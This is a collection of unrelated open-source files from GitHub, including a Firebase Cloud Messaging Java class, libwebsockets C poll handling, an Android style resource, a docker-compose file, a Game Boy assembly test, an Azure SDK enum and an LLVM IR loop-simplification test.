/* * Copyright 2018 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.firebase.messaging; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import com.google.api.core.ApiFuture; import com.google.common.annotations.VisibleForTesting; import com.google.common.base.Strings; import com.google.common.base.Supplier; import com.google.common.base.Suppliers; import com.google.common.collect.ImmutableList; import com.google.firebase.FirebaseApp; import com.google.firebase.ImplFirebaseTrampolines; import com.google.firebase.internal.CallableOperation; import com.google.firebase.internal.FirebaseService; import com.google.firebase.internal.NonNull; import java.util.List; /** * This class is the entry point for all server-side Firebase Cloud Messaging actions. * * <p>You can get an instance of FirebaseMessaging via {@link #getInstance(FirebaseApp)}, and * then use it to send messages or manage FCM topic subscriptions. */ public class FirebaseMessaging { private final FirebaseApp app; private final Supplier<? extends FirebaseMessagingClient> messagingClient; private final Supplier<? extends InstanceIdClient> instanceIdClient; private FirebaseMessaging(Builder builder) { this.app = checkNotNull(builder.firebaseApp); this.messagingClient = Suppliers.memoize(builder.messagingClient); this.instanceIdClient = Suppliers.memoize(builder.instanceIdClient); } /** * Gets the {@link FirebaseMessaging} instance for the default {@link FirebaseApp}. * * @return The {@link FirebaseMessaging} instance for the default {@link FirebaseApp}. */ public static FirebaseMessaging getInstance() { return getInstance(FirebaseApp.getInstance()); } /** * Gets the {@link FirebaseMessaging} instance for the specified {@link FirebaseApp}. * * @return The {@link FirebaseMessaging} instance for the specified {@link FirebaseApp}. */ public static synchronized FirebaseMessaging getInstance(FirebaseApp app) { FirebaseMessagingService service = ImplFirebaseTrampolines.getService(app, SERVICE_ID, FirebaseMessagingService.class); if (service == null) { service = ImplFirebaseTrampolines.addService(app, new FirebaseMessagingService(app)); } return service.getInstance(); } /** * Sends the given {@link Message} via Firebase Cloud Messaging. * * @param message A non-null {@link Message} to be sent. * @return A message ID string. * @throws FirebaseMessagingException If an error occurs while handing the message off to FCM for * delivery. */ public String send(@NonNull Message message) throws FirebaseMessagingException { return send(message, false); } /** * Sends the given {@link Message} via Firebase Cloud Messaging. * * <p>If the {@code dryRun} option is set to true, the message will not be actually sent. Instead * FCM performs all the necessary validations, and emulates the send operation. * * @param message A non-null {@link Message} to be sent. * @param dryRun a boolean indicating whether to perform a dry run (validation only) of the send. * @return A message ID string. * @throws FirebaseMessagingException If an error occurs while handing the message off to FCM for * delivery. */ public String send(@NonNull Message message, boolean dryRun) throws FirebaseMessagingException { return sendOp(message, dryRun).call(); } /** * Similar to {@link #send(Message)} but performs the operation asynchronously. * * @param message A non-null {@link Message} to be sent. * @return An {@code ApiFuture} that will complete with a message ID string when the message * has been sent. */ public ApiFuture<String> sendAsync(@NonNull Message message) { return sendAsync(message, false); } /** * Similar to {@link #send(Message, boolean)} but performs the operation asynchronously. * * @param message A non-null {@link Message} to be sent. * @param dryRun a boolean indicating whether to perform a dry run (validation only) of the send. * @return An {@code ApiFuture} that will complete with a message ID string when the message * has been sent, or when the emulation has finished. */ public ApiFuture<String> sendAsync(@NonNull Message message, boolean dryRun) { return sendOp(message, dryRun).callAsync(app); } private CallableOperation<String, FirebaseMessagingException> sendOp( final Message message, final boolean dryRun) { checkNotNull(message, "message must not be null"); final FirebaseMessagingClient messagingClient = getMessagingClient(); return new CallableOperation<String, FirebaseMessagingException>() { @Override protected String execute() throws FirebaseMessagingException { return messagingClient.send(message, dryRun); } }; } /** * Sends all the messages in the given list via Firebase Cloud Messaging. Employs batching to * send the entire list as a single RPC call. Compared to the {@link #send(Message)} method, this * is a significantly more efficient way to send multiple messages. * * <p>The responses list obtained by calling {@link BatchResponse#getResponses()} on the return * value corresponds to the order of input messages. * * @param messages A non-null, non-empty list containing up to 500 messages. * @return A {@link BatchResponse} indicating the result of the operation. * @throws FirebaseMessagingException If an error occurs while handing the messages off to FCM for * delivery. An exception here indicates a total failure -- i.e. none of the messages in the * list could be sent. Partial failures are indicated by a {@link BatchResponse} return value. */ public BatchResponse sendAll( @NonNull List<Message> messages) throws FirebaseMessagingException { return sendAll(messages, false); } /** * Sends all the messages in the given list via Firebase Cloud Messaging. Employs batching to * send the entire list as a single RPC call. Compared to the {@link #send(Message)} method, this * is a significantly more efficient way to send multiple messages. * * <p>If the {@code dryRun} option is set to true, the messages will not be actually sent. Instead * FCM performs all the necessary validations, and emulates the send operation. * * <p>The responses list obtained by calling {@link BatchResponse#getResponses()} on the return * value corresponds to the order of input messages. * * @param messages A non-null, non-empty list containing up to 500 messages. * @param dryRun A boolean indicating whether to perform a dry run (validation only) of the send. * @return A {@link BatchResponse} indicating the result of the operation. * @throws FirebaseMessagingException If an error occurs while handing the messages off to FCM for * delivery. An exception here indicates a total failure -- i.e. none of the messages in the * list could be sent. Partial failures are indicated by a {@link BatchResponse} return value. */ public BatchResponse sendAll( @NonNull List<Message> messages, boolean dryRun) throws FirebaseMessagingException { return sendAllOp(messages, dryRun).call(); } /** * Similar to {@link #sendAll(List)} but performs the operation asynchronously. * * @param messages A non-null, non-empty list containing up to 500 messages. * @return @return An {@code ApiFuture} that will complete with a {@link BatchResponse} when * the messages have been sent. */ public ApiFuture<BatchResponse> sendAllAsync(@NonNull List<Message> messages) { return sendAllAsync(messages, false); } /** * Similar to {@link #sendAll(List, boolean)} but performs the operation asynchronously. * * @param messages A non-null, non-empty list containing up to 500 messages. * @param dryRun A boolean indicating whether to perform a dry run (validation only) of the send. * @return @return An {@code ApiFuture} that will complete with a {@link BatchResponse} when * the messages have been sent, or when the emulation has finished. */ public ApiFuture<BatchResponse> sendAllAsync( @NonNull List<Message> messages, boolean dryRun) { return sendAllOp(messages, dryRun).callAsync(app); } /** * Sends the given multicast message to all the FCM registration tokens specified in it. * * <p>This method uses the {@link #sendAll(List)} API under the hood to send the given * message to all the target recipients. The responses list obtained by calling * {@link BatchResponse#getResponses()} on the return value corresponds to the order of tokens * in the {@link MulticastMessage}. * * @param message A non-null {@link MulticastMessage} * @return A {@link BatchResponse} indicating the result of the operation. * @throws FirebaseMessagingException If an error occurs while handing the messages off to FCM for * delivery. An exception here indicates a total failure -- i.e. the messages could not be * delivered to any recipient. Partial failures are indicated by a {@link BatchResponse} * return value. */ public BatchResponse sendMulticast( @NonNull MulticastMessage message) throws FirebaseMessagingException { return sendMulticast(message, false); } /** * Sends the given multicast message to all the FCM registration tokens specified in it. * * <p>If the {@code dryRun} option is set to true, the message will not be actually sent. Instead * FCM performs all the necessary validations, and emulates the send operation. * * <p>This method uses the {@link #sendAll(List)} API under the hood to send the given * message to all the target recipients. The responses list obtained by calling * {@link BatchResponse#getResponses()} on the return value corresponds to the order of tokens * in the {@link MulticastMessage}. * * @param message A non-null {@link MulticastMessage}. * @param dryRun A boolean indicating whether to perform a dry run (validation only) of the send. * @return A {@link BatchResponse} indicating the result of the operation. * @throws FirebaseMessagingException If an error occurs while handing the messages off to FCM for * delivery. An exception here indicates a total failure -- i.e. the messages could not be * delivered to any recipient. Partial failures are indicated by a {@link BatchResponse} * return value. */ public BatchResponse sendMulticast( @NonNull MulticastMessage message, boolean dryRun) throws FirebaseMessagingException { checkNotNull(message, "multicast message must not be null"); return sendAll(message.getMessageList(), dryRun); } /** * Similar to {@link #sendMulticast(MulticastMessage)} but performs the operation * asynchronously. * * @param message A non-null {@link MulticastMessage}. * @return An {@code ApiFuture} that will complete with a {@link BatchResponse} when * the messages have been sent. */ public ApiFuture<BatchResponse> sendMulticastAsync(@NonNull MulticastMessage message) { return sendMulticastAsync(message, false); } /** * Similar to {@link #sendMulticast(MulticastMessage, boolean)} but performs the operation * asynchronously. * * @param message A non-null {@link MulticastMessage}. * @param dryRun A boolean indicating whether to perform a dry run (validation only) of the send. * @return An {@code ApiFuture} that will complete with a {@link BatchResponse} when * the messages have been sent. */ public ApiFuture<BatchResponse> sendMulticastAsync( @NonNull MulticastMessage message, boolean dryRun) { checkNotNull(message, "multicast message must not be null"); return sendAllAsync(message.getMessageList(), dryRun); } private CallableOperation<BatchResponse, FirebaseMessagingException> sendAllOp( final List<Message> messages, final boolean dryRun) { final List<Message> immutableMessages = ImmutableList.copyOf(messages); checkArgument(!immutableMessages.isEmpty(), "messages list must not be empty"); checkArgument(immutableMessages.size() <= 500, "messages list must not contain more than 500 elements"); final FirebaseMessagingClient messagingClient = getMessagingClient(); return new CallableOperation<BatchResponse,FirebaseMessagingException>() { @Override protected BatchResponse execute() throws FirebaseMessagingException { return messagingClient.sendAll(messages, dryRun); } }; } @VisibleForTesting FirebaseMessagingClient getMessagingClient() { return messagingClient.get(); } /** * Subscribes a list of registration tokens to a topic. * * @param registrationTokens A non-null, non-empty list of device registration tokens, with at * most 1000 entries. * @param topic Name of the topic to subscribe to. May contain the {@code /topics/} prefix. * @return A {@link TopicManagementResponse}. */ public TopicManagementResponse subscribeToTopic(@NonNull List<String> registrationTokens, @NonNull String topic) throws FirebaseMessagingException { return subscribeOp(registrationTokens, topic).call(); } /** * Similar to {@link #subscribeToTopic(List, String)} but performs the operation asynchronously. * * @param registrationTokens A non-null, non-empty list of device registration tokens, with at * most 1000 entries. * @param topic Name of the topic to subscribe to. May contain the {@code /topics/} prefix. * @return An {@code ApiFuture} that will complete with a {@link TopicManagementResponse}. */ public ApiFuture<TopicManagementResponse> subscribeToTopicAsync( @NonNull List<String> registrationTokens, @NonNull String topic) { return subscribeOp(registrationTokens, topic).callAsync(app); } private CallableOperation<TopicManagementResponse, FirebaseMessagingException> subscribeOp( final List<String> registrationTokens, final String topic) { checkRegistrationTokens(registrationTokens); checkTopic(topic); final InstanceIdClient instanceIdClient = getInstanceIdClient(); return new CallableOperation<TopicManagementResponse, FirebaseMessagingException>() { @Override protected TopicManagementResponse execute() throws FirebaseMessagingException { return instanceIdClient.subscribeToTopic(topic, registrationTokens); } }; } /** * Unsubscribes a list of registration tokens from a topic. * * @param registrationTokens A non-null, non-empty list of device registration tokens, with at * most 1000 entries. * @param topic Name of the topic to unsubscribe from. May contain the {@code /topics/} prefix. * @return A {@link TopicManagementResponse}. */ public TopicManagementResponse unsubscribeFromTopic(@NonNull List<String> registrationTokens, @NonNull String topic) throws FirebaseMessagingException { return unsubscribeOp(registrationTokens, topic).call(); } /** * Similar to {@link #unsubscribeFromTopic(List, String)} but performs the operation * asynchronously. * * @param registrationTokens A non-null, non-empty list of device registration tokens, with at * most 1000 entries. * @param topic Name of the topic to unsubscribe from. May contain the {@code /topics/} prefix. * @return An {@code ApiFuture} that will complete with a {@link TopicManagementResponse}. */ public ApiFuture<TopicManagementResponse> unsubscribeFromTopicAsync( @NonNull List<String> registrationTokens, @NonNull String topic) { return unsubscribeOp(registrationTokens, topic).callAsync(app); } private CallableOperation<TopicManagementResponse, FirebaseMessagingException> unsubscribeOp( final List<String> registrationTokens, final String topic) { checkRegistrationTokens(registrationTokens); checkTopic(topic); final InstanceIdClient instanceIdClient = getInstanceIdClient(); return new CallableOperation<TopicManagementResponse, FirebaseMessagingException>() { @Override protected TopicManagementResponse execute() throws FirebaseMessagingException { return instanceIdClient.unsubscribeFromTopic(topic, registrationTokens); } }; } @VisibleForTesting InstanceIdClient getInstanceIdClient() { return this.instanceIdClient.get(); } private void checkRegistrationTokens(List<String> registrationTokens) { checkArgument(registrationTokens != null && !registrationTokens.isEmpty(), "registrationTokens list must not be null or empty"); checkArgument(registrationTokens.size() <= 1000, "registrationTokens list must not contain more than 1000 elements"); for (String token : registrationTokens) { checkArgument(!Strings.isNullOrEmpty(token), "registration tokens list must not contain null or empty strings"); } } private void checkTopic(String topic) { checkArgument(!Strings.isNullOrEmpty(topic), "topic must not be null or empty"); checkArgument(topic.matches("^(/topics/)?(private/)?[a-zA-Z0-9-_.~%]+$"), "invalid topic name"); } private static final String SERVICE_ID = FirebaseMessaging.class.getName(); private static class FirebaseMessagingService extends FirebaseService<FirebaseMessaging> { FirebaseMessagingService(FirebaseApp app) { super(SERVICE_ID, FirebaseMessaging.fromApp(app)); } } private static FirebaseMessaging fromApp(final FirebaseApp app) { return FirebaseMessaging.builder() .setFirebaseApp(app) .setMessagingClient(new Supplier<FirebaseMessagingClient>() { @Override public FirebaseMessagingClient get() { return FirebaseMessagingClientImpl.fromApp(app); } }) .setInstanceIdClient(new Supplier<InstanceIdClient>() { @Override public InstanceIdClientImpl get() { return InstanceIdClientImpl.fromApp(app); } }) .build(); } static Builder builder() { return new Builder(); } static class Builder { private FirebaseApp firebaseApp; private Supplier<? extends FirebaseMessagingClient> messagingClient; private Supplier<? extends InstanceIdClient> instanceIdClient; private Builder() { } Builder setFirebaseApp(FirebaseApp firebaseApp) { this.firebaseApp = firebaseApp; return this; } Builder setMessagingClient(Supplier<? extends FirebaseMessagingClient> messagingClient) { this.messagingClient = messagingClient; return this; } Builder setInstanceIdClient(Supplier<? extends InstanceIdClient> instanceIdClient) { this.instanceIdClient = instanceIdClient; return this; } FirebaseMessaging build() { return new FirebaseMessaging(this); } } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <resources> <style name="MediaController_SeekBar" parent="android:Widget.SeekBar"> <item name="android:progressDrawable">@drawable/scrubber_progress_horizontal_holo_dark</item> <item name="android:indeterminateDrawable">@drawable/scrubber_progress_horizontal_holo_dark</item> <item name="android:minHeight">13dip</item> <item name="android:maxHeight">13dip</item> <item name="android:thumb">@drawable/scrubber_control_selector_holo</item> <item name="android:thumbOffset">16dip</item> <item name="android:paddingLeft">16dip</item> <item name="android:paddingRight">16dip</item> </style> <style name="MediaController_Text"> <item name="android:textColor">#ffffffff</item> <item name="android:textSize">14sp</item> <item name="android:textStyle">bold</item> </style> </resources>
{ "pile_set_name": "Github" }
version: '2' services: simple_vote_db: image: postgres restart: always environment: POSTGRES_PASSWORD: example POSTGRES_DB: simplevote simple_vote: build: . command: "bash -c 'sleep 7s; java -jar /opt/simplevote.jar -liquibase'" depends_on: - simple_vote_db ports: - "4567:4567" environment: SIMPLEVOTE_DB_URL: "jdbc:postgresql://simple_vote_db/simplevote" SIMPLEVOTE_DB_USERNAME: "postgres" SIMPLEVOTE_DB_PASSWORD: "example"
{ "pile_set_name": "Github" }
/* * libwebsockets - small server side websockets and web server implementation * * Copyright (C) 2010-2014 Andy Green <[email protected]> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation: * version 2.1 of the License. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301 USA */ #include "private-libwebsockets.h" int insert_wsi_socket_into_fds(struct libwebsocket_context *context, struct libwebsocket *wsi) { struct libwebsocket_pollargs pa = { wsi->sock, LWS_POLLIN, 0 }; if (context->fds_count >= context->max_fds) { lwsl_err("Too many fds (%d)\n", context->max_fds); return 1; } #ifndef _WIN32 if (wsi->sock >= context->max_fds) { lwsl_err("Socket fd %d is too high (%d)\n", wsi->sock, context->max_fds); return 1; } #endif assert(wsi); assert(wsi->sock >= 0); lwsl_info("insert_wsi_socket_into_fds: wsi=%p, sock=%d, fds pos=%d\n", wsi, wsi->sock, context->fds_count); context->protocols[0].callback(context, wsi, LWS_CALLBACK_LOCK_POLL, wsi->user_space, (void *) &pa, 0); insert_wsi(context, wsi); wsi->position_in_fds_table = context->fds_count; context->fds[context->fds_count].fd = wsi->sock; context->fds[context->fds_count].events = LWS_POLLIN; lws_plat_insert_socket_into_fds(context, wsi); /* external POLL support via protocol 0 */ context->protocols[0].callback(context, wsi, LWS_CALLBACK_ADD_POLL_FD, wsi->user_space, (void *) &pa, 0); context->protocols[0].callback(context, wsi, LWS_CALLBACK_UNLOCK_POLL, wsi->user_space, (void *)&pa, 0); return 0; } int remove_wsi_socket_from_fds(struct libwebsocket_context *context, struct libwebsocket *wsi) { int m; struct libwebsocket_pollargs pa = { wsi->sock, 0, 0 }; lws_libev_io(context, wsi, LWS_EV_STOP | LWS_EV_READ | LWS_EV_WRITE); --context->fds_count; if (wsi->sock > context->max_fds) { lwsl_err("Socket fd %d too high (%d)\n", wsi->sock, context->max_fds); return 1; } lwsl_info("%s: wsi=%p, sock=%d, fds pos=%d\n", __func__, wsi, wsi->sock, wsi->position_in_fds_table); context->protocols[0].callback(context, wsi, LWS_CALLBACK_LOCK_POLL, wsi->user_space, (void *)&pa, 0); m = wsi->position_in_fds_table; /* replace the contents for this */ /* have the last guy take up the vacant slot */ context->fds[m] = context->fds[context->fds_count]; lws_plat_delete_socket_from_fds(context, wsi, m); /* * end guy's fds_lookup entry remains unchanged * (still same fd pointing to same wsi) */ /* end guy's "position in fds table" changed */ wsi_from_fd(context,context->fds[context->fds_count].fd)-> position_in_fds_table = m; /* deletion guy's lws_lookup entry needs nuking */ delete_from_fd(context,wsi->sock); /* removed wsi has no position any more */ wsi->position_in_fds_table = -1; /* remove also from external POLL support via protocol 0 */ if (wsi->sock) { context->protocols[0].callback(context, wsi, LWS_CALLBACK_DEL_POLL_FD, wsi->user_space, (void *) &pa, 0); } context->protocols[0].callback(context, wsi, LWS_CALLBACK_UNLOCK_POLL, wsi->user_space, (void *) &pa, 0); return 0; } int lws_change_pollfd(struct libwebsocket *wsi, int _and, int _or) { struct libwebsocket_context *context; int tid; int sampled_tid; struct libwebsocket_pollfd *pfd; struct libwebsocket_pollargs pa; if (!wsi || !wsi->protocol || wsi->position_in_fds_table < 0) return 1; context = wsi->protocol->owning_server; if (!context) return 1; pfd = &context->fds[wsi->position_in_fds_table]; pa.fd = wsi->sock; context->protocols[0].callback(context, wsi, LWS_CALLBACK_LOCK_POLL, wsi->user_space, (void *) &pa, 0); pa.prev_events = pfd->events; pa.events = pfd->events = (pfd->events & ~_and) | _or; context->protocols[0].callback(context, wsi, LWS_CALLBACK_CHANGE_MODE_POLL_FD, wsi->user_space, (void *) &pa, 0); /* * if we changed something in this pollfd... * ... and we're running in a different thread context * than the service thread... * ... and the service thread is waiting ... * then cancel it to force a restart with our changed events */ if (pa.prev_events != pa.events) { if (lws_plat_change_pollfd(context, wsi, pfd)) { lwsl_info("%s failed\n", __func__); return 1; } sampled_tid = context->service_tid; if (sampled_tid) { tid = context->protocols[0].callback(context, NULL, LWS_CALLBACK_GET_THREAD_ID, NULL, NULL, 0); if (tid != sampled_tid) libwebsocket_cancel_service(context); } } context->protocols[0].callback(context, wsi, LWS_CALLBACK_UNLOCK_POLL, wsi->user_space, (void *) &pa, 0); return 0; } /** * libwebsocket_callback_on_writable() - Request a callback when this socket * becomes able to be written to without * blocking * * @context: libwebsockets context * @wsi: Websocket connection instance to get callback for */ LWS_VISIBLE int libwebsocket_callback_on_writable(struct libwebsocket_context *context, struct libwebsocket *wsi) { #ifdef LWS_USE_HTTP2 struct libwebsocket *network_wsi, *wsi2; int already; lwsl_info("%s: %p\n", __func__, wsi); if (wsi->mode != LWS_CONNMODE_HTTP2_SERVING) goto network_sock; if (wsi->u.http2.requested_POLLOUT) { lwsl_info("already pending writable\n"); return 1; } if (wsi->u.http2.tx_credit <= 0) { /* * other side is not able to cope with us sending * anything so no matter if we have POLLOUT on our side. * * Delay waiting for our POLLOUT until peer indicates he has * space for more using tx window command in http2 layer */ lwsl_info("%s: %p: waiting_tx_credit (%d)\n", __func__, wsi, wsi->u.http2.tx_credit); wsi->u.http2.waiting_tx_credit = 1; return 0; } network_wsi = lws_http2_get_network_wsi(wsi); already = network_wsi->u.http2.requested_POLLOUT; /* mark everybody above him as requesting pollout */ wsi2 = wsi; while (wsi2) { wsi2->u.http2.requested_POLLOUT = 1; lwsl_info("mark %p pending writable\n", wsi2); wsi2 = wsi2->u.http2.parent_wsi; } /* for network action, act only on the network wsi */ wsi = network_wsi; if (already) return 1; network_sock: #endif if (lws_ext_callback_for_each_active(wsi, LWS_EXT_CALLBACK_REQUEST_ON_WRITEABLE, NULL, 0)) return 1; if (wsi->position_in_fds_table < 0) { lwsl_err("%s: failed to find socket %d\n", __func__, wsi->sock); return -1; } if (lws_change_pollfd(wsi, 0, LWS_POLLOUT)) return -1; lws_libev_io(context, wsi, LWS_EV_START | LWS_EV_WRITE); return 1; } /** * libwebsocket_callback_on_writable_all_protocol() - Request a callback for * all connections using the given protocol when it * becomes possible to write to each socket without * blocking in turn. * * @protocol: Protocol whose connections will get callbacks */ LWS_VISIBLE int libwebsocket_callback_on_writable_all_protocol( const struct libwebsocket_protocols *protocol) { struct libwebsocket_context *context = protocol->owning_server; int n; struct libwebsocket *wsi; for (n = 0; n < context->fds_count; n++) { wsi = wsi_from_fd(context,context->fds[n].fd); if (!wsi) continue; if (wsi->protocol == protocol) libwebsocket_callback_on_writable(context, wsi); } return 0; }
{ "pile_set_name": "Github" }
.size 8000 .text@48 jp ff80 .text@100 jp lbegin .data@143 80 .data@7f98 10 21 32 43 54 65 76 87 .data@7fff 12 .text@200 ld sp, 8001 ld a, 34 ld(8000), a ld a, 7f ldff(46), a ld c, 26 lwaitdma: dec c jrnz lwaitdma ld hl, 55aa push hl ld a, (fe9d) ld c, a ld a, (fe9e) ld b, a pop de ld sp, cfff push de push bc jp lprint4 .text@150 lbegin: ld bc, 0200 ld hl, ff80 ld d, 40 lcopydmaroutine: ld a, (bc) ld(hl++), a inc c dec d jrnz lcopydmaroutine ld b, 90 call lwaitly_b ld bc, fe00 ld d, a0 ld a, 06 lfill_oam: ld(bc), a inc c dec d jrnz lfill_oam ld a, 90 ldff(45), a ld a, 40 ldff(41), a xor a, a ldff(0f), a ld a, 02 ldff(ff), a ei halt .text@7000 lprint4: ld b, 90 call lwaitly_b xor a, a ldff(40), a ld bc, 7a00 ld hl, 8000 ld d, 00 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld hl, 9800 ld d, 02 lprint_settiles: pop bc ld a, c srl a srl a srl a srl a ld(hl++), a ld a, c and a, 0f ld(hl++), a ld a, b srl a srl a srl a srl a ld(hl++), a ld a, b and a, 0f ld(hl++), a dec d jrnz lprint_settiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f 00 00 08 08 22 22 41 41 7f 7f 41 41 41 41 41 41 00 00 7e 7e 41 41 41 41 7e 7e 41 41 41 41 7e 7e 00 00 3e 3e 41 41 40 40 40 40 40 40 41 41 3e 3e 00 00 7e 7e 41 41 41 41 41 41 41 41 41 41 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 40 40 40 40 7f 7f 40 40 40 40 40 40
{ "pile_set_name": "Github" }
{ "created_at": "2015-02-27T22:28:00.103290", "description": "The website for Tent \u2014 the protocol for evented data storage and decentralized communication", "fork": false, "full_name": "tent/tent.io", "language": "Ruby", "updated_at": "2015-02-27T23:42:02.580024" }
{ "pile_set_name": "Github" }
/** * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for * license information. * * Code generated by Microsoft (R) AutoRest Code Generator. */ package com.microsoft.azure.management.network.v2019_08_01; import java.util.Collection; import com.fasterxml.jackson.annotation.JsonCreator; import com.microsoft.rest.ExpandableStringEnum; /** * Defines values for WebApplicationFirewallMatchVariable. */ public final class WebApplicationFirewallMatchVariable extends ExpandableStringEnum<WebApplicationFirewallMatchVariable> { /** Static value RemoteAddr for WebApplicationFirewallMatchVariable. */ public static final WebApplicationFirewallMatchVariable REMOTE_ADDR = fromString("RemoteAddr"); /** Static value RequestMethod for WebApplicationFirewallMatchVariable. */ public static final WebApplicationFirewallMatchVariable REQUEST_METHOD = fromString("RequestMethod"); /** Static value QueryString for WebApplicationFirewallMatchVariable. */ public static final WebApplicationFirewallMatchVariable QUERY_STRING = fromString("QueryString"); /** Static value PostArgs for WebApplicationFirewallMatchVariable. */ public static final WebApplicationFirewallMatchVariable POST_ARGS = fromString("PostArgs"); /** Static value RequestUri for WebApplicationFirewallMatchVariable. */ public static final WebApplicationFirewallMatchVariable REQUEST_URI = fromString("RequestUri"); /** Static value RequestHeaders for WebApplicationFirewallMatchVariable. */ public static final WebApplicationFirewallMatchVariable REQUEST_HEADERS = fromString("RequestHeaders"); /** Static value RequestBody for WebApplicationFirewallMatchVariable. */ public static final WebApplicationFirewallMatchVariable REQUEST_BODY = fromString("RequestBody"); /** Static value RequestCookies for WebApplicationFirewallMatchVariable. */ public static final WebApplicationFirewallMatchVariable REQUEST_COOKIES = fromString("RequestCookies"); /** * Creates or finds a WebApplicationFirewallMatchVariable from its string representation. * @param name a name to look for * @return the corresponding WebApplicationFirewallMatchVariable */ @JsonCreator public static WebApplicationFirewallMatchVariable fromString(String name) { return fromString(name, WebApplicationFirewallMatchVariable.class); } /** * @return known WebApplicationFirewallMatchVariable values */ public static Collection<WebApplicationFirewallMatchVariable> values() { return values(WebApplicationFirewallMatchVariable.class); } }
{ "pile_set_name": "Github" }
; PR23538 ; RUN: opt < %s -indvars -loop-deletion -S | FileCheck %s ; Check IndVarSimplify should not replace exit value because or else ; udiv will be introduced by expand and the cost will be high. declare void @_Z3mixRjj(i32* dereferenceable(4), i32) declare void @llvm.lifetime.start.p0i8(i64, i8* nocapture) declare void @llvm.lifetime.end.p0i8(i64, i8* nocapture) define i32 @_Z3fooPKcjj(i8* nocapture readonly %s, i32 %len, i32 %c) { ; CHECK-LABEL: @_Z3fooPKcjj( ; CHECK-NOT: udiv entry: %a = alloca i32, align 4 %tmp = bitcast i32* %a to i8* call void @llvm.lifetime.start.p0i8(i64 4, i8* %tmp) store i32 -1640531527, i32* %a, align 4 %cmp8 = icmp ugt i32 %len, 11 br i1 %cmp8, label %while.body.lr.ph, label %while.end while.body.lr.ph: ; preds = %entry br label %while.body while.body: ; preds = %while.body, %while.body.lr.ph %keylen.010 = phi i32 [ %len, %while.body.lr.ph ], [ %sub, %while.body ] %s.addr.09 = phi i8* [ %s, %while.body.lr.ph ], [ %add.ptr, %while.body ] %tmp1 = bitcast i8* %s.addr.09 to i32* %tmp2 = load i32, i32* %tmp1, align 4 %shl.i = shl i32 %tmp2, 1 %and.i = and i32 %shl.i, 16843008 %tmp3 = load i32, i32* %a, align 4 %sub.i = add i32 %tmp3, %tmp2 %add = sub i32 %sub.i, %and.i store i32 %add, i32* %a, align 4 %add.ptr = getelementptr inbounds i8, i8* %s.addr.09, i64 12 %sub = add i32 %keylen.010, -12 %cmp = icmp ugt i32 %sub, 11 br i1 %cmp, label %while.body, label %while.cond.while.end_crit_edge while.cond.while.end_crit_edge: ; preds = %while.body %sub.lcssa = phi i32 [ %sub, %while.body ] br label %while.end while.end: ; preds = %while.cond.while.end_crit_edge, %entry %keylen.0.lcssa = phi i32 [ %sub.lcssa, %while.cond.while.end_crit_edge ], [ %len, %entry ] call void @_Z3mixRjj(i32* dereferenceable(4) %a, i32 %keylen.0.lcssa) %tmp4 = load i32, i32* %a, align 4 call void @llvm.lifetime.end.p0i8(i64 4, i8* %tmp) ret i32 %tmp4 } define i32 @zero_backedge_count_test(i32 %unknown_init, i32* %unknown_mem) { ; CHECK-LABEL: @zero_backedge_count_test( entry: br label %loop loop: %iv = phi i32 [ 0, %entry], [ %iv.inc, %loop ] %unknown_phi = phi i32 [ %unknown_init, %entry ], [ %unknown_next, %loop ] %iv.inc = add i32 %iv, 1 %be_taken = icmp ne i32 %iv.inc, 1 %unknown_next = load volatile i32, i32* %unknown_mem br i1 %be_taken, label %loop, label %leave leave: ; We can fold %unknown_phi even though the backedge value for it is completely ; unknown, since we can prove that the loop's backedge taken count is 0. ; CHECK: leave: ; CHECK: ret i32 %unknown_init %exit_val = phi i32 [ %unknown_phi, %loop ] ret i32 %exit_val }
{ "pile_set_name": "Github" }
